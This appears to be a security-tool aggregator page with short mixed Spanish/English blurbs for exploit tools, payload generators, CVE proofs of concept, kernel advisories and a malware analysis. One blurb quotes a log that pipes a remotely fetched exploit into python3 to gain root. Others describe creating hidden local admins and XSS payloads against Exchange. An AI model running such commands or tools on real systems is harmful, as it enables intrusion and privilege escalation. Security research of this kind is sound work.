NXLoader

NXLoader Ejecuta payloads de Fusée Gelée desde Android stock. Obtén el archivo APK aquí Muy basado en Fusée Gelée y ShofEL2. fusee.bin está incluido como payload predeterminado Nota: Ningún payload propietario ha sido probado ni es compatible con este software. ¿Funciona en tu dispositivo? ¡Por...

CVE-2026-93097 cxl/mbox: Break poison list loop on an empty payload

In the Linux kernel, the following vulnerability has been resolved: cxl/mbox: Break poison list loop on an empty payload A device that returns count == 0 with CXLPOISONFLAGMORE set on every iteration never advances nrrecords, so the maxerrors guard never trips and the do/while loops forever while...

CVE-2026-90220 ALSA: seq: Don't leak the extension cell pointer in the bounce payload

In the Linux kernel, the following vulnerability has been resolved: ALSA: seq: Don't leak the extension cell pointer in the bounce payload The bounceerrorevent embeds the failed event in the bounce payload by pointing data.ext.ptr at it. When that event is a queued variable-length event, its own...

phpggc

PHPGGC: Cadenas de Gadgets Genéricas de PHP PHPGGC es una librería de payloads de unserialize junto con una herramienta para generarlos, desde la línea de comandos o programáticamente. Cuando te encuentras con un unserialize en un sitio web del que no tienes el código, o simplemente cuando intent...

Dropper-GCleaner-C2-Infrastructure-Kernel-Driver-PowerShell-Conhost-Payload-Analysis

1. C2 Infrastructure – Resilient & Redundant Servers Process Hacker memory analysis reveals a comprehensive list of domains used by Dropper GCleaner for C2 communication. These domains are hosted on various platforms Scaleway, Render, Replit, etc., indicating a robust and redundant infrastructure...

CVE-2025-55182

CVE-2025-55182: React Server Components Unsafe Deserialization Vulnerability Overview CVE-2025-55182 also known as React2Shell is a critical unsafe deserialization vulnerability discovered in the React Flight Protocol, affecting the payload of React Server Components RSC. This vulnerability resid...

Important: Red Hat Security Advisory: valkey security update

An update for valkey is now available for Red Hat Enterprise Linux 10.0 Extended Update Support. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for...

ysonet

YSoNet es un fork del YSoSerial.Net original, actualmente mantenido por @irsdl. Sitios: ysonet.net o ysonet.com ambos abren este repositorio. Una herramienta de prueba de concepto para generar payloads que explotan la deserialización insegura de objetos .NET. Qué es YSoNet YSoNet anteriormente...

CVE-2026-20841

CVE-2026-20841 PoC PoC of the "Windows Notepad RCE" vulnerability. Disclaimers 1. I am NOT the one who discovered this vulnerability. Props to the original authors listed on the official disclosure page. I just recreated the PoC according to the description. 2. I personally don't think this...

0-click-RCE-Exploit-for-CVE-2024-51791

CVE-2024-51791 / 0-Click RCE Exploit Author: Joshua Provoste https://x.com/JoshuaProvoste/status/1858910306140893268 This repository contains a proof-of-concept exploit for CVE-2024-51791, an unauthenticated arbitrary file upload vulnerability in a vulnerable WordPress forms plugin, leading to...

CVE-2024-28397-Js2Py-RCE-Exploit

💡 Deep Dive: Click here to read the full technical briefing PDF. CVE-2024-28397: Js2Py Sandbox Escape Payload Generator A professional payload generator for CVE-2024-28397. This tool generates malicious JavaScript code designed to escape the js2py sandbox versions = 0.74 and execute arbitrary...

ufuzz

UFuzz, or Universal Plug and Fuzz, is an automatic UPnP fuzzing tool. It will enumerate all UPnP endpoints on the network, find the available services and fuzz them. It also has the capability to fuzz HTTP using Burp proxy logs. It is designed to fuzz embedded systems, and as such, is only single...

WeaveMark

WeaveMark Reference implementation of Robust and Scalable Multi-bit LLM Watermarking via Coded Payload Spreading. WeaveMark embeds a k -bit message into LLM-generated text while keeping the token distribution unbiased. It combines coded payload spreading κ codeword bits per token over ℓ layers,...

play-go-copy-fail-cve-2026-31431

Play Go Copy Fail CVE-2026-31431 Purpose Learn linux syscall low-level Port python and c into golang Craft own payload then exploit as newbie Auto upgrade pty manually Inspiration tgies/copy-fail-c painoob/Copy-Fail-Exploit-CVE-2026-31431 Resource Linux Source Crypto...

CVE-2021-4034

CVE-2021-4034 CVE-2021-4034 statically linked implementation based on Blasty's that doesn't need gcc. payload.so is encoded from payload.h and written to the disk. Statically compiled binary included for convenience. Original PoC and author https://twitter.com/bl4sty/status/1486092552755466242?s=...

log4j-payload-generator

0x01 Introduction log4j-payload-generator is a woodpecker framework plugin for generating log4j JNDI injection vulnerability payloads. It can currently generate the following 5 types of payloads with one click. 1. Raw payload 2. upper|lower:x type randomly mixed payload 3. upper|lower:x fully...

CVE-2026-24291

CVE-2026-24291 Versión ofuscada de RegPwn https://www.mdsec.co.uk/2026/03/rip-regpwn/ Se añadió funcionalidad adicional que creará automáticamente un administrador local con credenciales generadas. Puedes recompilar el payload con ejecución de código como administrador según lo desees. Pasos -...

TEST-CVE-2026-31431

TEST-CVE-2026-31431 root@kitploit: oc new-app -n default https://github.com/gmeghnag/TEST-CVE-2026-31431 oc rsh -n default deployment/test-cve-2026-31431 sh-5.1$ id uid=10011001 gid=0root groups=0root sh-5.1$ curl -s https://copy.fail/exp | python3.12 && su root@test-cve-2026-31431-78f6d9cc97-n7d...

CVE-2026-34621_PDF_SAMPLE

Technical Analysis of a Multi-Stage Adobe Acrobat PDF JavaScript Sample Overview This repository publishes a code-centric reverse-engineering write-up on a malicious PDF sample that embeds staged Adobe Acrobat JavaScript. The analyzed sample uses a hidden form field as its initial loader,...

CVE-2021-41349

Microsoft Exchange Exploit CVE-2021-41349 Exploiting: CVE-2021-41349 This exploiting tool creates a Form for posting XSS Payload to the target Exchange server. You need to create a js containing your desire to do. Usage 1. Create Your js Payload and upload it somewhare. 2. run the CVE-2021-41349....